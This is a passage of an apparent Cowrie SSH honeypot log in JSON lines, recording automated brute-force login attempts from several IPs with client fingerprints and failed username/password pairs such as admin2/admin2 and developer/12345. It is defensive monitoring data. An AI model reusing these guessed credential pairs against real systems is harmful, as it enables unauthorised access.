\\xf5a\\x1b)\\xdc{\\x1cqJ\\xf1\\x88\\xa4\\xa3EJ.\\x12\\xbcd\\x18\\r\\xd3\\xf4\\xa4\\xabz\\xca\\xaaI\\xf3\\xbc&\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:56.531960Z","src_ip":"123.27.168.40","session":"a05567351382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:57.219240Z","src_ip":"123.27.168.40","session":"a05567351382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":63178,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a3656916a3f","protocol":"ssh","message":"New connection: 45.153.34.195:63178 (10.17.0.5:22) [session: 3a3656916a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:57.587112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:57.595895Z","src_ip":"45.153.34.195","session":"3a3656916a3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:57.677098Z","src_ip":"45.153.34.195","session":"3a3656916a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmod","password":"gmod","message":"login attempt [gmod/gmod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:57.926753Z","src_ip":"45.153.34.195","session":"3a3656916a3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:59.046221Z","src_ip":"45.153.34.195","session":"3a3656916a3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":63184,"dst_ip":"10.17.0.5","dst_port":22,"session":"a11a6b26f2dd","protocol":"ssh","message":"New connection: 45.153.34.195:63184 (10.17.0.5:22) [session: a11a6b26f2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:00.616296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:00.665823Z","src_ip":"45.153.34.195","session":"a11a6b26f2dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:00.727564Z","src_ip":"45.153.34.195","session":"a11a6b26f2dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aman","password":"aman","message":"login attempt [aman/aman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:01.073307Z","src_ip":"45.153.34.195","session":"a11a6b26f2dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.6","message":"Connection lost after 27.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:02.078205Z","src_ip":"23.148.145.132","session":"07122f58cbda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:02.167569Z","src_ip":"45.153.34.195","session":"a11a6b26f2dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14708,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2f7e993f986","protocol":"ssh","message":"New connection: 45.153.34.195:14708 (10.17.0.5:22) [session: a2f7e993f986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:03.414646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:03.491201Z","src_ip":"45.153.34.195","session":"a2f7e993f986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:03.670390Z","src_ip":"45.153.34.195","session":"a2f7e993f986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser2","password":"ftpuser2","message":"login attempt [ftpuser2/ftpuser2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:03.989513Z","src_ip":"45.153.34.195","session":"a2f7e993f986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:05.075286Z","src_ip":"45.153.34.195","session":"a2f7e993f986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14718,"dst_ip":"10.17.0.5","dst_port":22,"session":"20113e3b577a","protocol":"ssh","message":"New connection: 45.153.34.195:14718 (10.17.0.5:22) [session: 20113e3b577a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:06.504443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:06.508819Z","src_ip":"45.153.34.195","session":"20113e3b577a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:06.604445Z","src_ip":"45.153.34.195","session":"20113e3b577a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"12345","message":"login attempt [developer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:06.879696Z","src_ip":"45.153.34.195","session":"20113e3b577a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:07.965110Z","src_ip":"45.153.34.195","session":"20113e3b577a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14732,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6e9cd74bc4b","protocol":"ssh","message":"New connection: 45.153.34.195:14732 (10.17.0.5:22) [session: e6e9cd74bc4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:09.546804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:09.551745Z","src_ip":"45.153.34.195","session":"e6e9cd74bc4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:09.643124Z","src_ip":"45.153.34.195","session":"e6e9cd74bc4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:10.012213Z","src_ip":"45.153.34.195","session":"e6e9cd74bc4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33252,"dst_ip":"159.203.135.109","dst_port":22,"session":"952930166cbe","protocol":"ssh","message":"New connection: 91.92.40.36:33252 (159.203.135.109:22) [session: 952930166cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:10.203809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:10.374515Z","src_ip":"91.92.40.36","session":"952930166cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:10.383038Z","src_ip":"91.92.40.36","session":"952930166cbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:11.096463Z","src_ip":"45.153.34.195","session":"e6e9cd74bc4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38262,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d71436ddc55","protocol":"ssh","message":"New connection: 45.153.34.195:38262 (10.17.0.5:22) [session: 8d71436ddc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:12.404669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:12.470635Z","src_ip":"45.153.34.195","session":"8d71436ddc55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haddock","password":"haddock2025@","message":"login attempt [haddock/haddock2025@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:12.496897Z","src_ip":"91.92.40.36","session":"952930166cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:12.559061Z","src_ip":"45.153.34.195","session":"8d71436ddc55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123456","message":"login attempt [ftptest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:13.061381Z","src_ip":"45.153.34.195","session":"8d71436ddc55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:14.144115Z","src_ip":"45.153.34.195","session":"8d71436ddc55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:14.541569Z","src_ip":"91.92.40.36","session":"952930166cbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":47208,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fc6761c18fd","protocol":"ssh","message":"New connection: 103.122.221.179:47208 (159.203.135.109:22) [session: 6fc6761c18fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:14.891842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:14.896105Z","src_ip":"103.122.221.179","session":"6fc6761c18fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa